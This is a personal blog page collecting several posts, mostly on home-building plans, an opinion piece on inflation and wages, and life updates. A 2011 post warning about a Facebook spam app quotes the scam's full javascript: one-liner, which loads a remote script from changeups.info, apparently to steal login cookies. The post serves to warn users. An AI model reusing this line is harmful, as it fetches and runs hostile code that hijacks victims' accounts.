Tuesday, June 25, 2024

The start of a new journey

 I don't have a particular reason for wanting to memorialize this last couple days except that I guess it stands out in my mind enough to be a milestone I'd like to remember through the years.

The month of June is always a busy one in our lives. My wife and I always take a trip in July for her birthday and preparation and planning is always a big part of the June calendar.  There's mother's day in there somewhere, Father's day in there too. We also have a wedding anniversary on the 19th, and my birthday lands on the 24th without fail every year... those dates will matter more as you read on.

This year was the first year on our anniversary that we didn't buy each other anything. We both talked about it at length. We spent so very many years scraping by paycheck-to-paycheck and saving pennies (literally, there's a jar in my kitchen still). Back in those years a dinner out somewhere nice (and by nice I mean Applebee's) was a treat. We'd take each other out to dinner on our birthdays, or mother's day, or anniversary. We would be sure to have SOME kind of gift for each other just to be sure the other knew they were thought of.

So, maybe you can imagine how hard it was for me to get all the way to my 14th anniversary of being married to this amazing woman and literally have nothing for her to offer. 

We both have everything we need. We really do. For the most part we have the things we want as well. Money is better in recent years and if we see something we like, we usually just pick it up if it's within reason. That makes the "what do you want for ______ holiday" question a difficult one because if it was affordable and our spouse wanted it, they probably already got it for themselves sometime earlier.

The hunt for home...

Some of you know we've been searching for land for a home for quite a few years now. We searched on our own for a year or two with no luck. Then we enlisted the help of a realtor friend to help hunt in earnest. I remember thinking that it's only a matter of weeks now, maybe a month or two, until we have that perfect piece of land to build a house on.  And if you're ever in need of one,  I've got a great one. Can you imagine talking and sending info and visiting land together again and again for THREE YEARS without anything being suitable?

That was three years ago....

The real-estate market has been a mess in recent years. People want 350K for a piece of land that you can't even put a house on. I remember 13 acres out near the county line that looked beautiful until you went there and realized it has two valleys, a few hard scrabble trees, a creek running through it, and nothing but solid granite everywhere. There wasn't a place to build a dog house, much less a homestead on. That was our luck time and time again for three long years.

Right after memorial day a place came up on MLS and I took a look at it. I've been so disheartened that I honestly didn't think that much of it. I looked at it myself, and thought to myself that I needed to remind Amy to look at it later. 

Another week went by and I remembered to show it to her. We looked at it together on the computer, went over the plat, the property maps and all the other data available. Finally I called the realtor and told her I was gonna drive out there and have a look at it myself.

After taking a trip out to see it and walking the land myself I started to get my hopes up a little. Maybe this could be it. It's got promise. It's large enough. If I changed the "perfect plan" in my head and allowed a little flexibility in my plan for the perfect land to build our dream home on, then maybe this could be it.

I went out twice more to walk it, just stand under the trees and feel what it would be like if this was my back yard, the place my dogs could run and play, the place I'd clear to build a home. 

Finally we made a phone call to the realtor, went back and forth, made offers, counter-offers, and settled on a price that made both sides feel good about the deal and just like that it was done.. we'd made an official offer on a piece of land.

Coincidentally, that happened on the afternoon of June 19th.

A few weeks before, while sitting in my recliner, I was searching for the appropriate gift for the 14th anniversary. After discovering what the traditional gift was I was even more convinced I couldn't get my wife anything relevant that was sweet, loving, and memorialized the amazing 14 years together we've shared.

It wasn't until two days later that it hit me.

The 14th anniversary traditional anniversary gift is wood. The ideal gift would be something made from wood that symbolizes love.

Neither of us realized it that day.... but we'd just put an offer on 31 acres of nothing but pure wooded forest.

In hindsight, nothing I could ever have made would be as good, and nothing she could buy me from a store would have been as relevant or important to me. 

After being married to this amazing woman for fourteen years, right down to the very day, we finally found a place that we wanted to spend the rest of our lives together, agreed on it together, and made the decision together to go for it.

Sometimes God just reaches down and pats you on the back and says "here you go, son."

The next step

If you've never built a home from scratch, you might not be familiar with the hundreds of decisions that go into it or the amount of those decisions that might not be in your control. Where does your well go? Where does your septic field go? What soil is suitable for the house foundation? Is there too much granite to put it where you want? 

Many of these decisions are out of your control. God and the earth decided them for you hundreds or thousands of years ago whether you knew it or not. It could be the perfect spot but if it won't perc, you can't use it. If it's uphill from the house, you can't use it without a pump system (which is another point of failure in the future). If you can't hit water nearby, you can't build the house there. So many of these things are beyond our ability to control.

I've spent most of a week off and on walking this land searching for perc locations, searching for underground water and wondering where I could put a well. The amount of time I've stood in the woods mentally saying things like "Well, if the house sits here, and I can find water there... no, wait... that wont' work... Ok, if the house is there, and the barn is over there then... crap, that won't work either." 

So I started off with a call to "My contractor." I say that kind of jokingly because it's not like we build enough stuff to have a "contractor" of our own on retainer.

Let me tell you the back story and it'll make more sense.

Backstory

In 2017 my wife and I had decided to remodel Bear Creek Veterinary Hospital, the practice she literally built from the ground up. And when I say from the ground up, I literally mean it. She designed the building, picked the land, and had it built to her specifications. I can only imagine the frustration that construction crew had over the time it took to erect that clinic.

When it came time to remodel it, we needed a contractor. No one in the area I knew had the skill to pull off what my wife wanted so I went abroad to find someone. A referral from my uncle Reese sent me to David Proffit. 

I'll never forget our first conversation. I called David and tried my best to impress him with the vision of what I wanted before he could hang up and tell me "no." Thankfully either he's very patient, or I'm just lucky, or I did a decent enough job, but when I was done painting my picture for him and let him get a word in he kind of sat there silent for a moment and finally said "Mr. Jordan, that sounds like quite a project you've got there.... umm... you DO know I'm a high-end residential contractor, right? I don't do commercial construction. I'm not even licensed down there to do what you want me to do."

I said something like "Sir, that's exactly why I called you. Your reputation precedes you and you... well, you haven't met my wife." I went on to explain that the look and feel she wanted was that of a beautiful place to serve the community and that a commercial contractor was the last thing I wanted.

Long story short, over the next year and a half, David Proffit and I became great friends. He took my wife's vision of what she wanted and created a masterpiece that today is the newly remodeled Bear Creek Veterinary Hospital.

If you've ever set foot in it you would know what I mean. Its the largest, most gorgeous, well built, functional, and simply amazing veterinary clinic you've ever set foot in.

The credit goes to my wife for designing it and to David for making her vision and her dream a reality.

And we're back to the story.

That was in 2018. For the last six years we've remained friends with David, kept abreast of his projects, and he's stayed interested in our lives. My wife told him after he finished Bear Creek that one day he was going to build our next home for us. 

Even back then he was quick to let us know that while that idea certainly appealed to him, he had been building homes for a long time and was starting to look forward to retirement.

Whenever we'd talk over the last couple years he'd tell of what he was doing and we'd tell of our fruitless search for land to build a home on.

Earlier this year he told me he'd officially retired. The house he was working on was going to be the last one and he wasn't even sure how he was going to get through this one. I grew up in the construction industry so I remember my dad and grandfather dealing with the same things.

So when I called him last week to talk about the new property we'd found he quickly reminded me that he was retired. That's fine, I told him. I just respect your skill and your knowledge and I want to pay you as a consultant to help us find the right contractor and help us bring our dream to reality.

I asked if he was going to be down this way because I know from experience that he's got talent for "witching" for water. Luckily he was going to be in the area and agreed to come check out the land and give me his opinion. He agreed and we went out yesterday to visit the land.

We walked for about an hour checking perc locations talking about grading and elevations, hypothesizing about homestead locations, drive ways, privacy and all the other things.

I'd found two locations on the property I liked for home location. After breaking out his dowsing rods, we spent about 5 minutes and located an underground stream about 20 feet from where I most likely wanted to place the foundation. Perfect!

As we're walking back down towards the truck we noticed another vehicle. We introduced ourselves and discovered this was the current owner. My realtor had been relentless in keeping all communication between the realtors so as to be sure things went smoothly so I hadn't met the seller yet.

As we chatted and introduced ourselves, I discovered that he was also a recently retired general contractor for high-end homes. David and Barry chatted a bit and David admitted that one of the reasons he'd retired and wasn't necessarily keen on taking on a home down here was because it was so far out of his area that he didn't have any good subcontractor.

Guess what Barry had? As a recently retired general contractor himself he has a full rolodex of his own crews he's been using all his life. He laughed and said "What do you need? Masonry, Drywall, Plumbing, Framing, Painters.... I can give you my guys for all of it."

Well, dang... I didn't know it yet,  but David's hurdles were starting to disappear in front of him.

I had explained earlier to Barry that Davis was retired but I was using him as a consultant and friend. Before we left Barry kind of smiled and asked David, "So, are you going to be the contractor on this one or not?" 

I remember being surprised when instead of just saying "no" he kind of waved his hand in that wishy-washy way we do when we're unsure and said "Weeeeellllll....I guess that's not really been decided."

WHAT? (ok, don't say anything. Don't mess with the juju. Just hush and carry on. Don't get your hopes up.... )this is what I'm telling myself as we drive back to our house.

Quite randomly my wife messages me and says "Would you like to go out to dinner for your birthday?"

I told her we had David with us but he had no plans and asked if it would be ok if he were to join us. She agreed and for the next hour and a half we sat at dinner and talked about ideas for the new home; plan ideas, detached power meter, barn location, well, basement concepts, everything.

Two hours later we've had dinner and we've talked about everything you'd imagine someone talks about when imagining building their first (and hopefully last) home together and we're back at the house.

While sitting around the dining room table, Amy finally just looks across the table and asks David in her sweetest-I-know-what-you're-gonna-say voice... "David, are you gonna be our contractor?"

As I start to think "oh, man, talk about putting him on the spot" he kind of half grins, half bows his head in defeat and says "Yeeaaahhh, I am." I mean it was kind of drawn out of him long and slow.... yeeeaaahhhhh.... I am.

She literally jumped out of her chair and I start banging the table and she high-fives me across the dinner table... we have our contractor!

And THAT was my birthday present!

So on our anniversary we made the offer on the land, and on my birthday a week later we have our builder and it's the one we've been saying we wanted for the last six years.


Looking to the future...

Looking forward, I don't know what to expect. I don't know what it's going to hold for us. I DO know that I want to remember and hold on to the feeling I have right now - the feeling that we've had a dream for so very long and in a matter of days it started to come together.

I want to hold on to the feeling of walking through those woods and looking at the land and imagining what this can be when we get to the end of the journey - or really to the beginning of the next journey.

I spend some days feeling... average. I'm an average Joe - to borrow a phase from my wife - "workin in the dirt" and I don't have the time to stop and appreciate how truly blessed I am.

Then I have moments like this in life - truly the moments you can go your entire life and only experience a couple of times - where I look at the amazing wife I have, at the life we have together, at where we came from and where we're looking ahead to - and it will almost bring me to my knees. 

I remember, as does my wife, when we had $35 and it had to stretch to buy a week's groceries. That was what we refer to as the "Aldi years" in our marriage. I remember her working 70 hours a week, me working 70 hours a week, and barely being able to make ends meet. I remember Aldi brand peanut butter is NOT Skippy and Aldi brand Fruit Loops are an abomination that should be considered crimes against humanity! I don't ever want to forget those years - but I also don't want to live in fear of going back to them.

Circumstances could change tomorrow. I absolutely know that. But you also can't live in fear. We're both 47 year old now.  I think it was John F Kennedy that said "those who dare to fail miserably can achieve greatly." 

I don't want us to look back thirty years from now and wonder what could have been if we'd only taken the leap. I'd rather take that chance, take that leap, and give it everything I've got in me to give my wife the the life and the peace and security and tranquility she deserves in a home she loves on land that she calls her own, surrounded by nature, tall trees, and the deer in the back yard. 

So far in the few times I've been out there I've found deer, coyotes, black snakes, hawks, turkeys, and no shortage of ticks and red bugs too!

It's going to be hard. There are going to be days I want to give up. We're going to fight about things - floor plans, money, and the innumerable headaches that come with building a home - especially when we're both strong-willed and hard-headed people.... but if absolutely anyone on this earth can do it, I think it's us. Ok, it's mainly her.... but I'm stronger because she's my inspiration.

If you do nothing else in life, as a man or a woman, do this one thing - find someone that makes you realize you'll do absolutely anything to make them happy. I don't mean that in some cute emotional kind of way. When you've found it, you know it and it's like nothing else. It's not a cute, soft feeling of joy or love. It's not giggles and smiles over pancakes at breakfast.  It's deeper than that. It's something that galvanizes in your bones and adds to who you are. It doesn't take away. It builds itself in you. It's something only they bring out in you, only they can make come to the surface, and ONLY they know they should never fear. But everyone else, every single person you ever encounter, should truly fear coming between your inspiration and their happiness because they know you'll burn the world to ashes for them if need be.

Find that person that makes you realize that you have it in you to conquer absolutely anything and destroy any hurdle that stands between them and the happiness you know they deserve. 
  
I've found that for me. I've found the only person on God's green earth with the grit, determination, patience, sarcasm, and love enough to put up with me. Find that person and ANYTHING is possible.

This didn't start out as me writing about my wife, but in reality it's always about her. The house, the home, the land, the success. None of it means anything without her. Find that person. They're out there and whether you know it or not, they're searching for you too, even if they don't know it.

In conclusion

The journey has begun now in earnest. I've been away from writing for a long time but I hope over the next little while I'll have the inspiration to share more stories again. Some of them will be "Hey, look at this great idea I had!" Others will be good for the next book I write titled "Things to never do when building a home."

Either way, it'll be a journey worth living because of who I get to live it with!

Friday, October 06, 2023

A race to the bottom: Inflation, Recession, and the Job Market

 Prelude - yes, I decided to dust off the old blog, actually the ORIGINAL blog,  for this article because I've turned some of the others off. I've gotten too busy to maintain all the separate sites so I decided I'll just post content here if I want to share something off of social media. (It can't get banned here lol).


Race to the Bottom

I'm not an economist.  I don't have a masters in sociology or anything else related to the human condition, but I do live here amongst the rest of us and I listen to the news pretty much daily and as I hear and read these articles on multiple subjects I can't help but feel like they're connected. I find myself wondering if the economic analysts and the jobs analysts and the market analysts ever just get together and have a drink and share ideas. Because some of this is just too common sense not to be related.

Worker Strikes
We're undergoing quite a few strikes across the country right now. Writers guild, actors guild, healthcare workers, union auto workers, and probably a dozen more I don't know about. They all have one thing in common; they're about money. Everyone wants more money. I'm neither agreeing nor disagreeing with their stance. I'm merely pointing it out. Most of them feel undervalued in one way or another and that value is normally equated somehow to a financial figure. I don't need to dive much deeper than that for most of these organizations to make my point.

Jobs Market
The news today in one podcast mentioned how we added 336,000 jobs in September, which blew away the expected number of 170,000. So we DOUBLED the number of jobs they expected to be filled in September. Keep that in mind and consider the next paragraph.

Unemployment is high
Unemployment is at it's highest since Feb 2022 - so almost two years. But the same report says that unemployment is low and stable, resting around 3.5% right now. Ok... where are all these workers?

Entire job fields are suffering

So if unemployment is low/high/stable (still can't make sense of that one) and we're adding 336,000 jobs a month - why is almost every major critical field suffering from not being able to hire?
Doctors - overworked and under staffed.
Nurses - overworked and understaffed.
Veterinarians - none available despite tremendous salary increases in recent years.
Veterinary Technicians - same argument. Not enough to go around.

I listened to a podcast today where a college is coming under fire for not being able to accept enough students. More students want to go, but there's not enough professionals to instruct them, so classes are fewer and far between because they can't instruct them - which means less of them coming into the job market in 4 years - which means even less instructors in 5 years - which means even less coming into the... you get the idea right?

People aren't taking jobs:
It doesn't matter if its fast food, fine dining, retail shelf stocking, manufacturing, or neurosurgery. People are simply NOT taking the jobs they normally would. It's not 100% a lazy entitlement attitude, though I firmly believe that exists in higher percentages than any other period in our history. It's math. The reason they're not taking the job is math.

Employers have increased wages maybe 10% to attract employees. That's great...except that anyone that's ever gone grocery shopping knows that inflation is leaving that figure in the dust. 

Do I really need to be the one to explain this?
Let's do this barney-style.

Let's base it on coca-cola - a simple drink people purchase.
Three years ago it was $5 for a 12-pack.
Last year it was about $6.50 for a 12-pack.
Today it's $8.00 for a 12-pack.
These are walmart prices - not bougie higher-end markets.

So in 2021 coke was one price. Then it jumped 33 percent in a year. Then it jumped another 19 percent this year (so far).

But let's use actual normal inflation numbers for food:


If you wanted to match that with a given hourly wage - and I'm a normal employee somewhere that used to make $11 an hour but now you're offering me $15 an hour, how does that breakdown for my grocery bill? And let's further assume I used to have a grocery bill of $100 a week in 2020. (That's about what ours was a couple years ago).

My weekly grocery cost in 2020: $100 = $5,200 a year.
My weekly grocery cost in 2021: $103.94 = $5404.88 a year.
My weekly grocery cost in 2022: $114.28 = $5,942.56 a year.
My weekly grocery cost in 2023: $120.43 = $6,262.36 a year.

Now, let's factor in just rent increases. That's one that a huge percentage of people are dealing with.
NC inflation for rental prices jumped 20% in 2022 over 2021. In 2023, the total jumps to 32% higher than 2021.

Median rent is currently $1,183 per month in NC in October 2023, so let's roll that back to get good numbers. I'm going to use $1,200 to have an even number to work with.
2021 median rent: $806.40/month = $9653.28 a year.
2022 median rent: $960.00/month = $11,200.00 a year.
2023 median rent: $1200/month = $14,400 a year.

That's just two simple figures - groceries and rent. Literally only putting food in your face and a roof over your head. That's not counting heating it, cooling it, cooking in it, water, etc. Just two things every single one of us have to deal with in some form or fashion.

So, these two costs alone change as follows for rent and groceries.
  • 2021 - $15,058.13 per year.
  • 2022 - $17,142.56 per year.
  • 2023 - $20,662.36 per year.
Let's say I made $11/hour in 2020 and you've now raised me to $15 an hour in 2023. I work 40 hours a week at a regular job, no fancy vacations, but assume I get about 1 week off a year and we can't factor in overtime because that's unknowable.

In 2021: my total salary would be $22,400 per year gross, so about $17,054 take home pay.
I literally have a total of $166.36 a week to survive on for clothes, gas, medical costs, etc.

In 2023: you're bumping up my pay, so now at $15/hour it would be $30,600 per year gross, so about $23,256 a year in take home pay.

I literally have a total of $216.14 a week to survive on for clothes, gas, medical costs, etc.

Between 2021 and 2023, the cost to survive in America for a normal person paying a normal rent and a fairly small grocery bill for a family, has jumped 27%. That's literally only factoring TWO parts of life. Let's not even TALK about car payments, loan interest, etc.

So a pay boost from $11 to $15 for every employee out there, isn't actually a raise. It's literally EXACTLY level with the cost of living (using only 2 points of reference).

In laymen's terms, a $4/hour raise is literally, at the VERY BEST, allowing me to bring home close to what I brought home three years ago. It's absolutely ZERO points above the cost of living, and if you factored in everything else, it's probably less.

That's just math -feel free to do it yourself. I spelled it all out so you can check my numbers.

How do businesses solve it?

Solving it for businesses is simple. You want to know why Gatorade is now $3 a bottle instead of $1.79? One reason is they have to give employees more money. They raised prices and passed the cost on to you.
Coke has jumped 50% in three years.
Batteries, smokes, jeans, rubbermaid, dishes, you name it and the cost has gone up.

Let's say businesses on average jump prices about...oh I dunno... 27% to match the cost of that raise they just gave employees. 

Guess what?
Next year, the cost of living for your employees, just jumped a matching 27%, which means in order to bring home the same thing they did in 2023, you're going to have to give them a raise from $15/hour to $19.05/hour just for them to bring home the same money and survive.

It's a literal war between commerce and workers.

Companies have to raise prices to meet demands of, among other things, recruiting employees. Employees have to demand more because all the things they buy are going up because of the rise in demands to meet their salary requirements. No one is getting rich. Everyone is skating by at best. Prices still keep going up because ONE side has to give in first or the system will never stop growing out of control.

How to workers solve it?

They stop taking the jobs. They're finding work... somewhere they're finding work. They're bunking up with four people in a two bedroom apartment somewhere to make ends meet, but they're not dying in the streets in droves or wandering into FEMA homeless encampments, so they're doing it somehow. How long they can sustain it remains to be seen, but they're managing to do it.

But now they can't take that job at $15 an hour because it takes $19 an hour just to keep the lights on. Forget about saving for the future, or putting a down payment on a new car. That's not in their future at the moment.

Colleges are turning out less doctors, veterinarians, police, fire fighters, engineers, and more. The demand for those jobs is steadily going up. You think you've got it tough hiring employees for $19 an hour and figuring out how to pay for it? My wife owned a veterinary practice.... built it from the ground up herself over 17 years. We tried for THREE years to hire veterinarians. You know why? This will blow your mind...

Veteran doctors, herself included, were making around $85K-$90K per year gross. New grads - and I mean ALL of them - are demanding $125K to even show up to an interview. Let that sink in for a moment. Imagine having to hire someone at $125K when the doctor you work beside that's been a doctor for 30 years is making $85K. 

Imagine having to hire 4 more police officers at $55K a year (plus their related law-enforcement retirement costs) when the ones you work with that have been there for 15 years are making $44K.

You can't do it. To attract police officers currently requires about a 50% increase in what's being offered. Veterinarians is about the same 40-50% pay increase to get them in the door - and these are NEW people, fresh off the boat, no experience at all.

Doctors? Ha! I've got a doctor friend, relatively young... she didn't even consider taking a job (fresh out of college) unless it paid over $300K a year on DAY ONE of their employment. (And they got it by the way... people lining up to pay it... because they desperately need doctors.)

We're literally in a race to the bottom

I look at this from the outside and wonder if anyone else sees this? The only solution I see is for the government to get out of the way, let the inevitable recession happen, let free-market economy fall through the floor and eventually re-stabilize at something probably similar to 2017-2017 levels, and start again. 

Colleges will fail for a bit as they realize that on one is willing to pay $46,000 a year for a basic education. Professor's salaries will drop accordingly. Police forces will continue to decline until costs drop to where they can afford to take that job for a price the department can pay. That back and forth will go on across all industries as each market settles back into its equilibrium and then settles against each other's new pricing realities.

Am I wrong?
Discuss...






Thursday, June 09, 2011

Transitioning the blog

If you've been a follower here on Jordan Life (formerly Scooby Central) you'll notice there's been less and less posting lately. That's because I've kind of become re-invigorated to work on my old website, carolinaregion.com. There's no much new code out there that I can finally do more on my own host than I can here on Google's hosted blogs.

Im not deleting this blog and will probably go back to co-publishing in both locations, but the old way I used to co-publish doesn't work as well with the new blog structures, so for now I'm mainly posting on Carolina Region.

Come visit me at http://carolinaregion.com

Friday, May 06, 2011

Getting my Groove Back…

Yes it’s been awhile since I’ve done serious blogging, and after the week I’ve had I’m trying to get my groove back and find a rhythm that works well for me personally and for the business. My classic mistake is over-exerting myself mentally then burning out on a concept; reason #247 while I may never be an accomplished author.

 

My life underwent a massive change when I moved out here to marry Amy and for a long time I looked at it, thought about it, and planned to ramp it back up, get back into selling computer services to everyone I could find, expanding my company portfolio with tons of new clientele, and making money hand over fist to support my family and all the dreams I always had.

As the lingering effect of green grass, pine trees, and warm soft clay worked its way into my psyche I found myself not really wanting to get back to that quite as much as I had thought I did. Rather than running my hands over a keyboard all day and wincing when I shoved a splinter into my finger in the woodshop like I did so many times in the beginning I now find myself running my hands over the textured surface of pine acacia, and oak, deftly feeling for the right use for that particular piece of wood more than I do at the keyboard, my hands hardened and immune to the small sneaky splinters. Callouses wrap my fingers and joints and the strength in my hands from turning over hardened clay earth to plant seeds and working even harder wood into comfortable furniture  has made my grip crushing where it was once dexterous. My dexterity is visibly less, but I wouldn’t go back to the other way I don’t think.  I don’t think it’s possible to have both really. You’re either one or the other and I’m finding I’m happier out here like this.

The company has slowed down measurably. With Tim on the east and me on the west we’ve both drifted off in little ways to our own things. We’re still working together on projects but not really on the day-to-day stuff we used to deal with. Computers are more a side-line to the project work we’re doing than they are a main source of income. The real work now is sweaty and exhausting and fulfilling. I’ve been wiring up Best Buy stores on contract from their corporate office and earn more in a week than I used to in a month, so it’s ok when I have a month of no work ahead. Now I have plenty of time to plant the rose garden before my next project is due to start. After that one is done I’ll use the down-time to build some more furniture to sell at the market on the weekends. Every Friday is now a reminder to cut the grass rather than to spend 4 hours doing payroll.

carolinaregionThis isn’t to say I’m no longer doing computer work. Quite the contrary actually; having the time between jobs to do research into my markets gives me more time to learn and improve my skills, to focus on more finite aspects of IT rather than broad-spectrum wholesale coverage of the entire market. I’d rather get paid more for the things I do VERY well than I would hassle and negotiate rates for stuff that anyone can do with a little college education. Anyone can fix a PC, really, with a little intelligence. Building structured networks that exceed TIA/EIA standards is another matter altogether and doing it better than the next guy is just icing on the cake. After 5 years of sub-contracting for one of our vendors I finally landed a wiring project that includes structured cable infrastructure for the FBI. You really can’t beat that can you? I can talk about all the Blockbusters and Best Buy’s I’ve installed all day long (and those are good clients) but that’s nothing compared to saying I just wired up the new FBI field office. What’s your competition going to say to that? Nothing. They just walk away and shake their head. You don’t get those kinds of contracts without extreme attention to detail and serving out your time doing scut-work to earn it. Finally… maybe… I’m past the scut-work stage… (And if you’re in my market and thinking that maybe we bid the job, nope. I didn’t compete with anyone on the bid. They came to me and said “You come highly recommended. Can you wire our new law enforcement center?” Sure thing. Yessir. Be glad to!

Now that I spent most of a month getting that contract, I’ve been extremely bored this week, so I’m revamping the company website, my own blog, my other website.. you feel a theme developing here? I’ve completely redesigned carolinaregion.com, and I’m working on a new layout for twistednetworx.com that will focus more on three or four core areas of IT rather than trying to land every client that comes to our site. I’m back into web design again, strictly as a solo-practice and very selective about the clients I take on. I’m only taking one web site at a time now and only then if I feel I have the time to give it that it deserves. Otherwise, they can just wait for me to get some free time or they can find another developer who needs the work. I put more time into my code now, but there’s no other projects vying for my time so its easier to be more in-depth with the client that way. I should have done that years ago instead of just walking away from web design for about 5 years. The newer technologies are making it easy enough that my 63 year old mother now admins for two different web sites as an editor and author.

I’ve gotten back into WordPress authoring hard core, though still coding with Joomla when it makes more sense to do so. I’ve even had the time to work with a friend of mine on coding my own custom flavor of Sugar CRM as a product I can sell in his vertical market… all things I never would have had the time to learn or improve upon when I had six employees, 400 customers, and no free time because the phone never stopped ringing.

 

herb garden

Between work and more work I’m playing in my shop and yard a lot lately. I’ve finally purchased my first riding mower ever in my life so I’m still in that “enjoying it” phase of cutting the grass each week, so much to the point that my mower gets washed and waxed more than my truck does! I’ve been gardening like crazy as well.  A neighbor offered me part of his hay-field for a garden this year and I took him up on the idea with fervor. After two weekends and about a hundred hours I now have over 500 plants in the ground and I’m growing everything in sight. I even had the time to work on a raised herb-garden for Amy (that’s the one in the picture). I finally put in the rose garden I’ve always wanted, and probably went a little overboard, but my wife likes roses and I like giving them to her… so now she has roses growing from the moment she steps out of the truck, all the way around the back of the house, and right up to the back steps! Yeah, ok, maybe I do overdo it a little, but I enjoy it thus far so leave me be.

 

On the more serious side of life Amy has been working herself to the bone. There’s nothing she can do about it; its just the way the job goes, but it’s wearing on her. She needs a break, but we need the business to stay busy because we need the income, so it’s a catch-22. I look very much forward to when some of my projects close out this year so she can financially relax a little and maybe even take a day off if she feels like it!

 

piper sickSome of you also have heard about little Piper, our Catahoula puppy. She’s been sick for a few days now. Amy spend the night sleeping on the couch last night with Piper on the floor in front of her. I spent the night on the floor in front of the dog, completely unable to sleep because I was really afraid she was going to stop breathing and I didn’t want Amy to wake up to that alone… We carried her to the small-animal vet today (My thanks to Mt. Pleasant Animal Hospital for being kind on the bill!) and she’s doing better. She’s gonna be on an IV here at home for a few days and then on oral antibiotics until she’s completely better. We still don’t know 100% what was wrong with her. The hospital suspects Parvo even though the test came back negative. Apparently if you catch it early enough it doesn’t always show up. Personally I can’t imagine catching it any LATER than we did… in 24 hours she went from frolicking in the yard to not being able to move her muscles enough to drag herself off her pillow. I don’t think she’d have survived the day without the great folks who took care of her today. It would have broken my wife’s heart to lose that dog… this is the first pet we’ve had in the house that’s really “hers” in the truest sense of the word. I’ve got Bonnie and Jordan has Biscoe and Piper is completely in-love with momma-Amy.

And speaking of Piper and Amy, I’ve been on here way too long so I’m gonna go in the house and goof off with my family a little. Happy trails all. Comment if ya like. You know my narcissistic personality craves the attention of comments!

Peace!

Tuesday, May 03, 2011

Facebook Spam: Your Face in 20 Years

facebook_spamThis is just a heads-up to you other Facebook users out there. I logged into my Facebook account this afternoon to find out my daughter had been the victim of yet another of the daily Facebook viruses. This one seems to be mostly inane and harmless with the exception that it seems to spam everyone  you know via both wall posts and messages. If it has more damaging effects I’ve yet to uncover them.

So I thought I’d take a moment and write about how to tell if a message or wall post you receive seems to be spam.

 

 

 

Message Spam

Here’s the message I got from my daughter today on my Facebook:

 

spam message

On the surface it looks innocent enough. I especially like the “whoops sorry meant to send that to someone else” comment they used to make you think it was a real message intended for another person. I only picked up on it because that’s not the traditional diction my daughter uses when she chats. She’d have said something more like “Did u c this yet? It’s pretty funn. C wat u luk like 20 yrs older” Hey.. imagine that.. +1 point for spammers being too stupid to keep up on the lingo! At least I’m not the only one not in-tune with today’s kids!

 

Rather than click on the message I clicked on her wall instead. This is what I saw: ( It’s slightly shrunk down to make it fit on this page, but you get the point.) Even my child, as internet-addicted as she is, wouldn’t spend the hour it takes to manually post the exact same message to 90 of her friend’s walls on Facebook.

spam list

 

If you click on any of the links you see the person’s wall and this is the post it makes:

spam app

Ok.. this too seems innocent enough.. almost, but I was still slightly bugged by the whole repeated posting thing. As I looked on her friend’s walls I could see where she had most likely been infected from one of their messages because over half her friends were infected with the same posting and they appeared before hers did by minutes to hours, depending on the person.

Knowing I’ve got enough sense NOT to get infected I figured I was safe trying to figure out what all this link does. When you clink on the link it takes you to an official Facebook App page, located at:

http://www.facebook.com/pages/Your-face-in-20-years/121085477971294

(I’ve already reported the app to Facebook as a scam and hopefully it will get removed soon enough.)

This is what the app page looks like.

WARNING: Though the app page itself causes no harm, do NOT follow it’s instructions or you WILL get infected.
To save you the curiosity I took a screen capture of the app page. This is what you would see there:

spam page

Right off the bat you can tell something is wrong here. Don’t EVER EVER EVER copy and paste code from an app into your browser window. No legitimate application on facebook would use that as a way to access itself.

Basically this app tells you to copy that code and paste it into your browser window and then press enter.

If you look closely at the code, to any normal naïve user it looks harmless. The address is (DO NOT CLICK THIS LINK BELOW)

javascript:(a=(b=document).createElement('script')).src='//changeups.info/age/u.php?'+Math.random(),b.body.appendChild(a);void(0)

Basically that’s a command to open the Javascript engine on your computer, and navigate to a site called changeups.info, which with a little digging I found is located and hosted in Switzerland. I’m not exactly sure what the script does, because I don’t want to risk getting infected either, but this is a good example of a spam attack that bypasses your antivirus application. By entering that into your browser you’re basically telling the computer I WANT to go here and execute this script, no matter what the script is.

Most likely the script copies cookies from your browser’s memory to get at your facebook password (which you stored moments earlier when you were on the facebook site). Now it has your logon, your password, and 100% access to post on Facebook as you.

In less than an hour tonight, there were hundreds of my daughter’s contacts and friends infected and that was without me having to take the time to actually look in-depth to find out more about the scam.

 

In short, unless you KNOW it’s a trusted application, always send a message or email to the person who sent you this kind of link to verify they meant to do so. I simply called my daughter tonight and asked her “Did you intentionally waste an hour today posting links to hundreds of peope on facebook?” She said “Uhh.. no. Why?” Well there ya go.. she got hacked. Knowing my daughter uses her facebook password as her email password, now some hacker in Switzerland has access to all my daughter’s personal information.  Assuming the worst case scenario I took a look at my daughter’s email account with only the information the hacker would have if they were me and found out all I could in 60 seconds or less. If this were actually used to get at my kid, I would now know the following:

  • Her full name
  • Age
  • Email address and password
  • All her facebook friends.
  • Father and Mother’s names and facebook accounts and email addresses.
  • The name, age, and info of every relative she has on facebook.
  • Her church and what time her youth group meets, and where they meet this week. (so I’d know how to stalk her)
  • That she’s in the high school band, and her band director’s name.
  • What events her band is doing, when, and where. (so I’d know how to stalk her)
  • How to communicate with her on Skype, google talk, facebook, and every other chat program she uses.

I found out all this in under one minute with only the knowledge gained from her Facebook login and password.

So, what’s the lesson parents and kids?

  • Be careful what you click on on social networking sites.
  • Don’t EVER use an app that requires you to copy and paste code at all.
  • Don’t respond or click on messages or wall posts that you REALLY don’t know are safe.
  • Don’t ever have your Facebook and email passwords the same. EVER EVER EVER EVER EVER! (I know I stutter, but I mean that.. EVER!)
  • Don’t assume that because you got it from a trusted source that it’s OK.

I hope the rest of you out there in the web-o-sphere have a great night and that maybe this prevents you from falling victim to the same thing.

Wednesday, April 13, 2011

Attention LiveDrive.com: 4gb filesize limitation and support problems.

Since Livedrive.com is extremely heavy-handed with the censoring on their web forums it appears I have to resort to blogging and using Google index results to get answers to some of my problems. Overall I’m a huge fan of the software. It’s great! Their support however, is lacking. I’ve found most often in the past that a properly keyword-laden blog post on Google’s servers often gets immediate results from the Internet community since Google will index my search terms with words like “LiveDrive.com and Support and Problems.”

 

Support Forums:

If you’re going to have support forums for users thats hidden from the general public then it’s general practice to have them be a place for open-ended discussion and troubleshooting of problems. What else would we be there for? Do you just sort through the “oh I love your product” posts and allow those to be posted to falsely inflate your product’s apparent quality? I’ll admit I used the forums when deciding to try the product, and after reading many rave reviews, decided to pay my substantial fee to become a member. I didn’t know you pruned all the negative publicity out of them before allowing users to see them.

